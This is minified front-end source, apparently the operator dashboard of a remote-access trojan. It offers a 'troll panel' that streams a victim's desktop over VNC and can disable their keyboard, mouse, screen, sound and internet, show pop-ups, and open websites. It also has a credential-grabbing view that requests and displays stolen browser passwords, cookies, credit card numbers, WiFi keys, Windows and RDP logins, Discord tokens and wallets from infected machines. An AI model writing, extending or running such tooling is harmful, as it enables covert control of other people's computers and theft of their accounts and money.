Z=!te;me(Z),ie(V,[Z?"on":"off"])},_e=()=>{y.trim()&&(ie("troll_msgbox",[y,x||"Zerin"]),h(!1),v(""),g("Zerin"))},L=()=>{j.trim()&&(ie("troll_tts",[j]),w(!1),k(""))},de=()=>{if(!(!z.trim()||z==="https://")){if(!/^https?:\/\//i.test(z)){xe("URL must start with http:// or https://","err");return}ie("troll_website",[z]),N(!1),_("https://")}},q=()=>{P.trim()&&(ie("troll_wallpaper",[P]),O(!1),I(""))};return s.jsxs("div",{className:"flex flex-col h-full overflow-hidden",children:[s.jsxs("div",{className:"flex items-center gap-3 px-5 py-2.5 shrink-0 border-b border-[#1a1a20]",style:{background:"linear-gradient(180deg, #111115 0%, #0d0d11 100%)"},children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("div",{className:"w-5 h-5 flex items-center justify-center",style:{background:"rgba(239, 68, 68, 0.1)",border:"1px solid rgba(239, 68, 68, 0.2)"},children:s.jsxs("svg",{className:"w-3 h-3",viewBox:"0 0 24 24",fill:"none",stroke:"#ef4444",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.362 5.214A8.252 8.252 0 0112 21 8.25 8.25 0 016.038 7.048 8.287 8.287 0 009 9.6a8.983 8.983 0 013.361-6.867 8.21 8.21 0 003 2.48z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18a3.75 3.75 0 00.495-7.467 5.99 5.99 0 00-1.925 3.546 5.974 5.974 0 01-2.133-1A3.75 3.75 0 0012 18z"})]})}),s.jsx("span",{className:"font-display text-sm font-semibold tracking-wide text-[#ef4444]/80",children:"TROLL PANEL"})]}),s.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:ee&&r?"#22C55E":ee?"#eab308":"#ef4444",boxShadow:ee?"0 0 6px rgba(34,197,94,0.4)":"none"}}),s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:ee&&r?"LIVE":ee?"BUFFERING":"CONNECTING"})]}),ee&&s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),s.jsxs("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:[s.jsx("span",{className:"text-zerin-accent",children:C.fps})," FPS"]}),o.w>0&&s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),s.jsxs("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:[o.w,"×",o.h]})]})]}),s.jsx("div",{className:"flex-1"}),s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/40",children:"VIEW ONLY"})]}),s.jsxs("div",{className:"flex flex-1 min-h-0 overflow-hidden",children:[s.jsxs("div",{className:"w-[200px] shrink-0 flex flex-col border-r border-[#1a1a20] overflow-y-auto",style:{background:"#0b0b0f"},children:[s.jsx("div",{className:"px-3 pt-3 pb-2",children:s.jsx("span",{className:"font-mono text-[9px] font-semibold tracking-[0.2em] text-zerin-text-muted/50 uppercase",children:"Actions"})}),s.jsxs("div",{className:"flex flex-col gap-1 px-2 pb-3",children:[s.jsx($s,{icon:s.jsx(BU,{}),label:"Message Box",desc:"Pop up a dialog",color:"#f59e0b",onClick:()=>h(!0)}),s.jsx($s,{icon:s.jsx(FU,{}),label:"Text to Speech",desc:"Read text aloud",color:"#8b5cf6",onClick:()=>w(!0)}),s.jsx($s,{icon:s.jsx(WU,{}),label:"Open Website",desc:"Launch a URL",color:"#06b6d4",onClick:()=>N(!0)}),s.jsx($s,{icon:s.jsx(UU,{}),label:"Wallpaper",desc:"Change background",color:"#10b981",onClick:()=>O(!0)}),s.jsx($s,{icon:s.jsx(VU,{}),label:"CD Tray",desc:"Eject disc drive",color:"#ec4899",onClick:()=>ie("troll_cd_tray")})]}),s.jsxs("div",{className:"border-t border-[#1a1a20] px-3 py-3",children:[s.jsx("span",{className:"font-mono text-[9px] font-semibold tracking-[0.2em] text-zerin-text-muted/50 uppercase block mb-2.5",children:"Toggles"}),s.jsxs("div",{className:"flex flex-col gap-2",children:[s.jsx(Pi,{label:"Taskbar",active:c,color:"#06b6d4",onToggle:ve}),s.jsx(Pi,{label:"Swap Mouse",active:U,color:"#f59e0b",onToggle:()=>we(U,D,"troll_swapmouse"),invert:!0}),s.jsx(Pi,{label:"Sound",active:!M,color:"#8b5cf6",onToggle:()=>we(M,F,"troll_disablesound")}),s.jsx(Pi,{label:"Screen",active:!R,color:"#ef4444",onToggle:()=>we(R,W,"troll_blackscreen")}),s.jsx(Pi,{label:"Keyboard",active:!$,color:"#10b981",onToggle:()=>we($,H,"troll_disablekeyboard")}),s.jsx(Pi,{label:"Mouse",active:!X,color:"#ec4899",onToggle:()=>we(X,se,"troll_disablemouse")}),s.jsx(Pi,{label:"Internet",active:!ue,color:"#06b6d4",onToggle:()=>we(ue,ge,"troll_reroutesites")})]})]})]}),s.jsxs("div",{className:"flex-1 flex items-center justify-center relative overflow-hidden",style:{background:"#08080a"},children:[s.jsx("div",{className:"absolute inset-0 pointer-events-none opacity-[0.03] z-10",style:{backgroundImage:"repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.03) 4px)"}}),ee&&r?s.jsx("canvas",{ref:t,className:"max-w-full max-h-full",style:{cursor:"default",aspectRatio:o.w>0?`${o.w}/${o.h}`:void 0,filter:"brightness(0.95)"}}):ne?s.jsxs("div",{className:"flex flex-col items-center gap-5",children:[s.jsxs("div",{className:"relative",children:[s.jsx("div",{className:"w-16 h-16 rounded-full border-2 animate-spin",style:{borderColor:"rgba(6, 182, 212, 0.1)",borderTopColor:"rgba(6, 182, 212, 0.6)"}}),s.jsx("div",{className:"absolute inset-0 flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-accent/40",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})})]}),s.jsxs("div",{className:"text-center",children:[s.jsx("p",{className:"font-display text-sm font-medium text-zerin-text-dim mb-1",children:ee?"Waiting for frame...":"Connecting to desktop..."}),s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted",children:"View-only stream for live trolling"})]})]}):s.jsxs("div",{className:"flex flex-col items-center gap-5",children:[s.jsx("div",{className:"w-16 h-16 flex items-center justify-center",style:{background:"rgba(6, 182, 212, 0.08)",border:"1px solid rgba(6, 182, 212, 0.18)"},children:s.jsx("svg",{className:"w-7 h-7 text-zerin-accent/60",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})}),s.jsxs("div",{className:"text-center",children:[s.jsx("p",{className:"font-display text-sm font-medium text-zerin-text-dim mb-1",children:"Connect to live desktop view?"}),s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted mb-4",children:"This will start a VNC session to stream the agent's screen"}),s.jsx("button",{onClick:()=>B(!0),className:"px-4 py-2 text-xs font-semibold text-white transition-all",style:{background:"#06b6d4",boxShadow:"0 0 12px rgba(6,182,212,0.3)"},children:"Connect VNC"})]})]}),d&&s.jsx("div",{className:"absolute bottom-4 left-1/2 -translate-x-1/2 z-20 px-4 py-2 font-mono text-xs animate-fade-in",style:{background:"#111115",border:`1px solid ${d.type==="err"?"rgba(239,68,68,0.3)":"rgba(6,182,212,0.25)"}`,color:d.type==="err"?"#ef4444":"#06b6d4"},children:d.text})]})]}),m&&s.jsxs(Gl,{title:"Message Box",color:"#f59e0b",onClose:()=>h(!1),children:[s.jsxs("div",{className:"space-y-3",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"TITLE"}),s.jsx("input",{type:"text",value:x,onChange:te=>g(te.target.value),placeholder:"Window title...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#f59e0b]/30 transition-colors`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"MESSAGE"}),s.jsx("textarea",{value:y,onChange:te=>v(te.target.value),placeholder:"Enter message...",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#f59e0b]/30 transition-colors`,autoFocus:!0})]})]}),s.jsx(Xl,{onCancel:()=>h(!1),onSend:_e,color:"#f59e0b",disabled:!y.trim()})]}),b&&s.jsxs(Gl,{title:"Text to Speech",color:"#8b5cf6",onClose:()=>w(!1),children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"TEXT"}),s.jsx("textarea",{value:j,onChange:te=>k(te.target.value),placeholder:"What should they hear?",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#8b5cf6]/30 transition-colors`,autoFocus:!0})]}),s.jsx(Xl,{onCancel:()=>w(!1),onSend:L,color:"#8b5cf6",disabled:!j.trim()})]}),S&&s.jsxs(Gl,{title:"Open Website",color:"#06b6d4",onClose:()=>N(!1),children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"URL"}),s.jsx("input",{type:"text",value:z,onChange:te=>_(te.target.value),placeholder:"https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r placeholder-zerin-text-muted/40 focus:outline-none focus:border-zerin-accent/30 transition-colors`,autoFocus:!0})]}),s.jsx(Xl,{onCancel:()=>N(!1),onSend:de,color:"#06b6d4",disabled:!z.trim()||z==="https://"})]}),A&&s.jsxs(Gl,{title:"Change Wallpaper",color:"#10b981",onClose:()=>O(!1),children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"IMAGE PATH OR URL"}),s.jsx("input",{type:"text",value:P,onChange:te=>I(te.target.value),placeholder:"C:\\path\\to\\image.jpg or https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#10b981]/30 transition-colors`,autoFocus:!0})]}),s.jsx(Xl,{onCancel:()=>O(!1),onSend:q,color:"#10b981",disabled:!P.trim()})]})]})}function $s({icon:e,label:t,desc:n,color:r,onClick:i}){return s.jsxs("button",{onClick:i,className:"group flex items-center gap-3 px-3 py-2.5 text-left transition-all duration-150 hover:translate-x-0.5",style:{background:"transparent"},onMouseEnter:a=>{a.currentTarget.style.background=`${r}08`,a.currentTarget.style.borderLeft=`2px solid ${r}40`,a.currentTarget.style.paddingLeft="10px"},onMouseLeave:a=>{a.currentTarget.style.background="transparent",a.currentTarget.style.borderLeft="none",a.currentTarget.style.paddingLeft="12px"},children:[s.jsx("div",{className:"w-8 h-8 flex items-center justify-center shrink-0 transition-colors",style:{background:`${r}10`,border:`1px solid ${r}20`},children:s.jsx("div",{style:{color:`${r}cc`},children:e})}),s.jsxs("div",{className:"min-w-0",children:[s.jsx("div",{className:"text-[12px] font-medium text-zerin-text-dim group-hover:text-zerin-text transition-colors leading-tight",children:t}),s.jsx("div",{className:"text-[10px] text-zerin-text-muted/50 leading-tight mt-0.5",children:n})]})]})}function Gl({title:e,color:t,onClose:n,children:r}){return s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/70",onClick:n,children:s.jsxs("div",{className:"w-full max-w-sm mx-4 animate-scale-in",style:{background:"#111115",border:`1px solid ${t}25`,boxShadow:`0 0 40px ${t}08`},onClick:i=>i.stopPropagation(),children:[s.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b",style:{borderColor:`${t}15`},children:[s.jsx("div",{className:"w-2 h-2 rounded-full",style:{background:t,boxShadow:`0 0 8px ${t}60`}}),s.jsx("span",{className:"font-display text-sm font-semibold",style:{color:t},children:e})]}),s.jsx("div",{className:"p-4 space-y-4",children:r})]})})}function Xl({onCancel:e,onSend:t,color:n,disabled:r}){return s.jsxs("div",{className:"flex items-center justify-end gap-2 pt-1",children:[s.jsx("button",{onClick:e,className:`px-3 py-1.5 text-xs font-medium text-zerin-text-muted\r hover:text-zerin-text-dim bg-[#18181c] hover:bg-[#1f1f25] transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:t,disabled:r,className:`px-4 py-1.5 text-xs font-semibold text-white transition-all\r disabled:opacity-30 disabled:cursor-not-allowed`,style:{background:r?"#333":n,boxShadow:r?"none":`0 0 12px ${n}40`},children:"Send"})]})}function Pi({label:e,active:t,color:n,onToggle:r,invert:i}){const a=t;return s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx("span",{className:"text-[11px] text-zerin-text-dim font-medium",children:e}),s.jsx("button",{onClick:r,className:"relative w-9 h-[20px] rounded-full transition-colors duration-200 focus:outline-none",style:{background:a?`${n}30`:"rgba(239, 68, 68, 0.2)",border:`1px solid ${a?`${n}40`:"rgba(239, 68, 68, 0.3)"}`},children:s.jsx("div",{className:"absolute top-[2px] w-3.5 h-3.5 rounded-full transition-all duration-200",style:{left:a?"18px":"2px",background:a?n:"#ef4444",boxShadow:`0 0 6px ${a?`${n}50`:"rgba(239,68,68,0.4)"}`}})})]})}function BU(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 10h.01M12 10h.01M16 10h.01M9 16H5a2 2 0 01-2-2V6a2 2 0 012-2h14a2 2 0 012 2v8a2 2 0 01-2 2h-5l-5 5v-5z"})})}function FU(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.114 5.636a9 9 0 010 12.728M16.463 8.288a5.25 5.25 0 010 7.424M6.75 8.25l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})})}function WU(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 21a9.004 9.004 0 008.716-6.747M12 21a9.004 9.004 0 01-8.716-6.747M12 21c2.485 0 4.5-4.03 4.5-9S14.485 3 12 3m0 18c-2.485 0-4.5-4.03-4.5-9S9.515 3 12 3m0 0a8.997 8.997 0 017.843 4.582M12 3a8.997 8.997 0 00-7.843 4.582m15.686 0A11.953 11.953 0 0112 10.5c-2.998 0-5.74-1.1-7.843-2.918m15.686 0A8.959 8.959 0 0121 12c0 .778-.099 1.533-.284 2.253m0 0A17.919 17.919 0 0112 16.5c-3.162 0-6.133-.815-8.716-2.247m0 0A9.015 9.015 0 013 12c0-1.605.42-3.113 1.157-4.418"})})}function UU(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 15.75l5.159-5.159a2.25 2.25 0 013.182 0l5.159 5.159m-1.5-1.5l1.409-1.409a2.25 2.25 0 013.182 0l2.909 2.909m-18 3.75h16.5a1.5 1.5 0 001.5-1.5V6a1.5 1.5 0 00-1.5-1.5H3.75A1.5 1.5 0 002.25 6v12a1.5 1.5 0 001.5 1.5zm10.5-11.25h.008v.008h-.008V8.25zm.375 0a.375.375 0 11-.75 0 .375.375 0 01.75 0z"})})}function VU(){return s.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:[s.jsx("circle",{cx:"12",cy:"12",r:"9"}),s.jsx("circle",{cx:"12",cy:"12",r:"3"})]})}function HU({agentId:e,agentStatus:t,autoGrab:n,onAutoGrabConsumed:r}){var S,N,z,_,A,O,P,I,U,D,M,F,R,W,$,H,X,se,ue,ge,xe,Y,ee,C,K,ne,B,ie,ve,we,_e,L,de,q,te,me,V,Z,fe,E,oe,J,pe,be,ke;const[i,a]=p.useState(null),[o,l]=p.useState(!1),[c,u]=p.useState(""),[d,f]=p.useState(new Set),m=t==="dead",h=p.useRef(null);p.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const x=p.useRef(!1);p.useEffect(()=>{n&&!x.current&&!m&&(x.current=!0,y(),r==null||r())},[n]);const g=G=>{f(re=>{const ae=new Set(re);return ae.has(G)?ae.delete(G):ae.add(G),ae})},y=p.useCallback(async()=>{if(!m){l(!0),u(""),a(null),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:G}=await Ee(e,{command:"creds"});let re=0;h.current=setInterval(async()=>{var ae,Oe,lt,We,pn,Zt,pl,qn,Yn,mv,hv,xv,vv;re++;try{const bs=(ae=(await Un(e)).results)==null?void 0:ae.find(Tt=>Tt.task_id===G);if(bs){if(h.current&&clearInterval(h.current),h.current=null,l(!1),bs.error){u(bs.error);return}if(bs.output)try{const Tt=JSON.parse(bs.output);a(Tt);const Gn=new Set;(Oe=Tt.chrome_passwords)!=null&&Oe.length&&Gn.add("chrome_passwords"),(lt=Tt.firefox_passwords)!=null&<.length&&Gn.add("firefox_passwords"),(We=Tt.wifi)!=null&&We.length&&Gn.add("wifi"),(pn=Tt.windows_credentials)!=null&&pn.length&&Gn.add("windows_credentials"),(Zt=Tt.discord_tokens)!=null&&Zt.length&&Gn.add("discord_tokens"),(pl=Tt.wallets)!=null&&pl.length&&Gn.add("wallets"),(qn=Tt.vpn)!=null&&qn.length&&Gn.add("vpn"),((Yn=Tt.steam)!=null&&Yn.found||(mv=Tt.epic)!=null&&mv.found||(hv=Tt.minecraft)!=null&&hv.length||(xv=Tt.roblox)!=null&&xv.found)&&Gn.add("gaming"),(vv=Tt.errors)!=null&&vv.length&&Gn.add("errors"),f(Gn)}catch{u("Failed to parse credential data")}}else re>=60&&(h.current&&clearInterval(h.current),h.current=null,l(!1),u("Timed out waiting for results"))}catch{}},3e3)}catch(G){l(!1),u(G instanceof Error?G.message:"Failed to submit task")}}},[e,m]),[v,b]=p.useState(null),w=(G,re)=>{navigator.clipboard.writeText(G).then(()=>{const ae=re?re.clientX:window.innerWidth/2,Oe=re?re.clientY-30:window.innerHeight/2;b({text:"Copied!",x:ae,y:Oe}),setTimeout(()=>b(null),1200)}).catch(()=>{})},j=(G,re)=>{try{const ae=atob(G),Oe=new Uint8Array(ae.length);for(let Zt=0;Zt{if(!i)return;const G=new Blob([JSON.stringify(i,null,2)],{type:"application/json"}),re=URL.createObjectURL(G),ae=document.createElement("a");ae.href=re,ae.download=`credentials_${e.slice(0,8)}.json`,ae.click(),URL.revokeObjectURL(re)};return s.jsxs("div",{className:"p-6 animate-fade-in space-y-4",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("button",{onClick:y,disabled:o||m,className:`inline-flex items-center gap-2 text-sm font-medium\r bg-zerin-accent hover:bg-zerin-accent-hover text-white\r px-4 py-2 transition-colors\r disabled:opacity-30 disabled:cursor-not-allowed`,children:o?s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}),"Grabbing..."]}):s.jsxs(s.Fragment,{children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})}),"Grab Credentials"]})}),i&&s.jsxs("button",{onClick:k,className:`inline-flex items-center gap-1.5 text-sm font-medium\r text-zerin-text-dim hover:text-zerin-text\r bg-zerin-panel hover:bg-zerin-panel-hover\r border border-zerin-panel-border\r px-3 py-2 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"Export JSON"]}),m&&s.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),c&&s.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/20 px-4 py-3 text-sm text-zerin-danger",children:c}),i&&s.jsxs("div",{className:"space-y-2",children:[s.jsx(On,{title:"Browser Passwords",count:(((S=i.chrome_passwords)==null?void 0:S.length)??0)+(((N=i.firefox_passwords)==null?void 0:N.length)??0),expanded:d.has("chrome_passwords")||d.has("firefox_passwords"),onToggle:()=>{g("chrome_passwords"),g("firefox_passwords")},children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].length===0?s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No passwords found"}):s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"URL"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:G.browser??"Firefox"}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:G.url}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.username,ae),children:G.username}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.password,ae),children:G.password?"••••••••":""})]},re))})]})}),s.jsx(On,{title:"Browser Cookies",count:((z=i.chrome_cookies)==null?void 0:z.length)??0,expanded:d.has("chrome_cookies"),onToggle:()=>g("chrome_cookies"),children:(_=i.chrome_cookies)!=null&&_.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Host"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Value"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.chrome_cookies.map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:G.browser}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:G.host}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:G.name}),s.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.value,ae),children:[G.value.slice(0,40),"..."]})]},re))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No cookies found"})}),s.jsx(On,{title:"Credit Cards",count:((A=i.chrome_cards)==null?void 0:A.length)??0,expanded:d.has("chrome_cards"),onToggle:()=>g("chrome_cards"),children:(O=i.chrome_cards)!=null&&O.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Number"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Exp"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.chrome_cards.map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:G.browser}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text",children:G.name}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.number,ae),children:G.number}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:G.exp})]},re))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No credit cards found"})}),s.jsx(On,{title:"WiFi Passwords",count:((P=i.wifi)==null?void 0:P.length)??0,expanded:d.has("wifi"),onToggle:()=>g("wifi"),children:(I=i.wifi)!=null&&I.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"SSID"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Auth"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.wifi.map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-medium",children:G.ssid}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:G.auth}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.password,ae),children:G.password||"(none)"})]},re))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No WiFi passwords found"})}),s.jsx(On,{title:"Windows Credentials",count:((U=i.windows_credentials)==null?void 0:U.length)??0,expanded:d.has("windows_credentials"),onToggle:()=>g("windows_credentials"),children:(D=i.windows_credentials)!=null&&D.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Target"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.windows_credentials.map((G,re)=>s.jsxs("tr",{className:`hover:bg-zerin-panel-hover ${G.is_rdp?"bg-zerin-accent-muted/30":""}`,children:[s.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:[G.is_rdp&&s.jsx("span",{className:"text-zerin-accent font-medium mr-1",children:"[RDP]"}),G.target]}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.username,ae),children:G.username}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.password,ae),children:G.password?"••••••••":""}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:G.type})]},re))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Windows credentials found"})}),s.jsx(On,{title:"Discord Tokens",count:((M=i.discord_tokens)==null?void 0:M.length)??0,expanded:d.has("discord_tokens"),onToggle:()=>g("discord_tokens"),children:(F=i.discord_tokens)!=null&&F.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b 